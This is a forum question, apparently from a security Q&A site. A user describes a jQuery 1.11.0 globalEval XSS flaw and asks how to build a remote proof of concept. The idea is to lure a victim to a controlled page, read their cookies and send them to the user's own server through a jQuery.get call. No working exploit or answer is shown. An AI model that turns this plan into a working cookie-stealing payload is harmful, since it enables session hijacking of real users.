I have a web application at the workshop that uses the old jQuery-1.11.0 library, where jQuery.globalEval (text); hence every text/javascript responses gets executed, and in my case it looks like: > jQuery.get('https://my.site.com/'); and in the server log I've got request GET 200 /. I wanted to construct a a remote p0c for this situation that exploits that XSS vulnerability.

For example the user enters a link to the page that I controll, the page runs a JS script that loads the vulnerable page, downloads/read cookies and using previously mentioned jQuery.get('https://my.site.com/') send the cookie to the server logs. This is just an example that seems alright to me. Do you have an idea how I could use this vulnerability ambitiously? Nowhere have I seen the remote use of this or previous / later writeups with that jQuery XSS vuln. I will be extremely grateful for your help! :)

  • Alright - weird stuff going on in here, checking at intercepted response and it has Content-Type: application/octet-stream whenever I try to >> jQuery.get('my.site.com/jqueryxss')... – the_me May 22 at 10:09

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.